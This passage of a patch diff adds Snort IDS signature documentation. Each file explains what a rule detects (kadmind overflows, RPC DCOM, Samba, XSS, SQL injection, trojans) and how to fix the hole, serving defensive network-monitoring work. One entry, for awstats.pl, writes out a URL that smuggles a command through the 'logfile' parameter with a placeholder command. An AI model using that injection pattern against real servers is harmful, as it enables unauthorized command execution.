+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1897.txt
+++ snort-2.8.5.2/doc/signatures/1897.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1897
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.8.5.2.orig/doc/signatures/933.txt
+++ snort-2.8.5.2/doc/signatures/933.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+933
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/214.txt
+++ snort-2.8.5.2/doc/signatures/214.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+214
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "lrk0x".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Linux operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1104.txt
+++ snort-2.8.5.2/doc/signatures/1104.txt
@@ -0,0 +1,59 @@
+Rule:  
+--
+
+Sid:
+1104
+
+--
+
+Summary:
+This event is generated when an attempt is made to evade an IDS in a possible 
+web attack by sending an obfuscated request in small increments.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+Under normal circumstances, a web request fits inside a single packet. However,
+it is possible to obfuscate a web attack by sending the attack one character
+at a time.  This may evade some IDS systems. Tools such as Whisker can
+be configured to do this.
+
+--
+Affected Systems:
+	All Web Servers
+ 
+--
+Attack Scenarios:
+An attacker can use an automated tool, like Whisker, to launch an attack
+against a web server.
+
+--
+Ease of Attack:
+Simple. Exploits and tools are widely available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Check the host for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1151.txt
+++ snort-2.8.5.2/doc/signatures/1151.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1151
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3053.txt
+++ snort-2.8.5.2/doc/signatures/3053.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3053
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000649.txt
+++ snort-2.8.5.2/doc/signatures/100000649.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000649
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "comment" parameter in the "index.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3342.txt
+++ snort-2.8.5.2/doc/signatures/3342.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3342
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2159.txt
+++ snort-2.8.5.2/doc/signatures/2159.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2158
+
+--
+Summary:
+This event is generated when an invalid BGP type is detected. 
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event indicates that a Border Gateway Protocol (BGP) packet with an invalid type has been detected.
+
+BGP packets must have a type of 1 or more. This event indicates that a BGP packet was detected with a type of 0. This may be related to another issue regarding invalid BGP datasizes. See sid 2158 for further information.
+
+Note: if sid 2158 has been disabled, this event will be generated if the type of problem described in the documentation for sid 2158 is detected.
+
+--
+Affected Systems:
+This BGP packet may cause problems with TCPDump.
+
+--
+Attack Scenarios:
+An attacker would need to craft a special BGP packet with a type of 0 or a datasize of less than 20 bytes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2031.txt
+++ snort-2.8.5.2/doc/signatures/2031.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2031
+
+--
+Summary:
+The rpc.ypasswd service is used to update user information remotely. 
+This service should not be available outside the local area network, 
+external source.
+
+--
+Impact:
+This may be an intelligence gathering activity on available rpc services
+on a machine connected to external resources. The possibility also 
+exists that an attacker may already have gained access to a NIS server 
+and thus all resources connected to that host.
+
+--
+Detailed Information:
+A vulnerability exists in some versions of the rpc.ypasswd service that
+can lead to a remote root compromise of a vulnerable host. This activity
+may be an intelligence gathering exercise to ascertain wether or not the
+host is vulnerable to this attack.
+
+This activity may also indicate a possible compromise of a NIS server 
+via a legitimate user account the attacker has previously garnered. 
+Compromise of a master NIS server may present the attacker with easy 
+access to all NIS resources the machine is connected to.
+
+--
+Affected Systems:
+All systems running the rpc.ypasswd service.
+
+--
+Attack Scenarios:
+The attacker can make a request to update user information via 
+rpc.ypasswd.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+SANS:
+http://www.sans.org/rr/unix/NIS.php
+http://www.sans.org/rr/unix/sec_solaris.php
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3026.txt
+++ snort-2.8.5.2/doc/signatures/3026.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3026
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1860.txt
+++ snort-2.8.5.2/doc/signatures/1860.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1860
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/927.txt
+++ snort-2.8.5.2/doc/signatures/927.txt
@@ -0,0 +1,62 @@
+SID:
+927
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1752.txt
+++ snort-2.8.5.2/doc/signatures/1752.txt
@@ -0,0 +1,71 @@
+Nigel removed w00.w00 reference and added CVE, bugtraq
+
+Rule:
+
+--
+Sid:
+1752
+
+--
+Summary:
+This event is generated when exploit traffic is observed that attempts to cause a buffer overflow in a Windows host running America Online (AOL) Instant Messenger (AIM).
+
+--
+Impact:
+Attempted user level access.  A successful attack may permit the execution of arbitrary code with the privileges of the user running AIM.
+
+--
+Detailed Information:
+AIM can be used for message and file exchanges as well as many other applications.  A buffer overflow exists in AIM code that requests external applications (AddExternalAPP) that may permit the execution of arbitrary code on a Windows client AIM host with the privileges of the user running AIM.  
+
+--
+
+Affected Systems:
+Windows hosts running AIM 4.2 - 4.8.2616.
+
+--
+Attack Scenarios:
+An attacker may craft a malformed AIM add external application request causing a buffer overflow, and potentially permitting the execution of arbitrary code with the privileges of the user running AIM. 
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This event is trigger when known exploit code is run.  It may be possible that other exploit code exists that will not trigger this event.
+
+--
+Corrective Action:
+
+ -Workstation:
+   Upgrade to version 2001B Beta v5.18 Build #3659 or later.
+
+    or
+
+   Go to Preferences in AIM -> Privacy ->
+   In "Who can contact me" check "Allow only users on my Buddy List".
+
+ -Network:
+   Block AIM traffic into and out of your network.  
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0362
+
+Bugtraq:
+http://www.securityfocus.com/bid/4677
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2531.txt
+++ snort-2.8.5.2/doc/signatures/2531.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2531
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3464.txt
+++ snort-2.8.5.2/doc/signatures/3464.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3464
+
+--
+Summary:
+This event is generated when an attempt is made to execute system
+commands via the cgi script awstats.pl.
+
+--
+Impact:
+Possible execution of system commands.
+
+--
+Detailed Information:
+Adavanced Web Statistics (awstats) is used to process web server log
+files and produces reports of web server usage.
+
+Some versions of awstats do not correctly sanitize user input. This may
+present an attacker with the opportunity to supply system commands via
+the "logfile" parameter. For the attack to be sucessful the "update"
+parameter must also have the value set to "1". This event indicates that
+an attempt has been made to pass a system command as a value to the
+"logfile" parameter the awstats.pl cgi script.
+
+--
+Affected Systems:
+	Awstats 6.1 and prior
+
+--
+Attack Scenarios:
+An attacker can supply commands of their choosing as a value for the
+logfile parameter by enclosing the commands in pipe charecters. For
+example: 
+
+ http://www.foo.com/cgi-bin/awstats.pl?update=1&logfile=|<command here>|
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+Disallow access to awstats.pl as a CGI script.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1032.txt
+++ snort-2.8.5.2/doc/signatures/1032.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1032
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000318.txt
+++ snort-2.8.5.2/doc/signatures/100000318.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000318
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "phpBazar" application running on a webserver. 
+Access to the file "admin.php" using a remote file being passed as the 
+"action=edit_member&value=1" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "action=edit_member&value=1" parameter in the 
+"admin.php" script used by the "phpBazar" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpBazar
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000770.txt
+++ snort-2.8.5.2/doc/signatures/100000770.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000770
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "typeface" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "typeface" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2192.txt
+++ snort-2.8.5.2/doc/signatures/2192.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+2192
+
+--
+Summary:
+This rule no longer generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+This rule now uses flowbits and can be set to generate an event by
+modifying the rule slightly to remove the "flowbits:no_alert;" option.
+When traffic is detected that attempts to bind to the ISystemActivator
+object in MS RPC DCOM communications this rule now activates sids 2351
+and 2352 to detect exploits against this service. Cool huh?
+
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3190.txt
+++ snort-2.8.5.2/doc/signatures/3190.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3190
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
